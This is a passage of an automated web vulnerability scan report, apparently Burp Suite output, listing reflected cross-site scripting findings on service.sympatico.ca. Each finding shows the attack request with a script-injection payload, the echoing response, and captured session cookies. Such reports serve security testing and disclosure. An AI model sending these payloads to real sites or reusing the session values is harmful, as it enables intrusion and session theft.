Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:29 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js6592f"><script>alert(1)</script>f3dc8754768/jquery.clickorenter.js" />
...[SNIP]...

2.274. https://service.sympatico.ca/js/jquery.clickorenter.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.clickorenter.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15434"><script>alert(1)</script>624f805fb57 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.clickorenter.js15434"><script>alert(1)</script>624f805fb57 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:32 GMT
Connection: close
Set-Cookie: SMSESSION=Y9htZHrVNenmXrwBebgXBrLU1CyLUwNoh429Yq/QjEiaV13M1oYiZfZY4oT+DWBVHk+D3GJdIo9JL+qaahnq4M1uCdvAesdZdadd/ZxDK0DRTLl3GQ98IAAkfLt8jt7mR45wuMrkoynOpIhCb91zKdV38bBqLazT9oButyYNoitw0Uhbpkk++mgFOfR7kjnKfmkChhl8c28dgYtfTTxtlOwPmyia7x1aaDafiV0BT+02AEnkCb8zIesNdZizwV87xR5XQKC9d/dAur6osWlUs6rLj2vkPm/Xg826rfaD8LtZENWr91gUbQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:33 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:33 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:33 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:33 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:33 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:33 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:33 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:33 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:33 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:33 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
me="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.clickorenter.js15434"><script>alert(1)</script>624f805fb57" />
...[SNIP]...

2.275. https://service.sympatico.ca/js/jquery.cookie.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.cookie.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33992"><script>alert(1)</script>f1874e75f0f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js33992"><script>alert(1)</script>f1874e75f0f/jquery.cookie.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:27 GMT
Connection: close
Set-Cookie: SMSESSION=httGVlPJavLFnS6KfTg73O16r7lBAvQWcxyOIIirGIVaypwS+tY+cl2Q+py5qCq7fG5bxpvW4tP31KA/K0KkAlanMuDK5EbyQKekUkv8NTdwsqvxelFD4yHsRPELj81TQiSgtgJ45VEyzgbLX1ZuIJRMppGHytAc8DqpSMXtbvEMXlP+rAgE490Dz2t23HuRq8QpgU0wO/vd2jDMrGraX7736cMx8qifhpiMBHZV9hBrofzo/qwc64BA7C6L+S0TPxyGV7baUDo7sB24asOuQs+nUSU2ka3eyX13EsYfyyP/Bn2tLygBEQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:28 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js33992"><script>alert(1)</script>f1874e75f0f/jquery.cookie.js" />
...[SNIP]...

2.276. https://service.sympatico.ca/js/jquery.cookie.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/jquery.cookie.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b7f3"><script>alert(1)</script>bbfd874f108 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.cookie.js3b7f3"><script>alert(1)</script>bbfd874f108 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:31 GMT
Connection: close
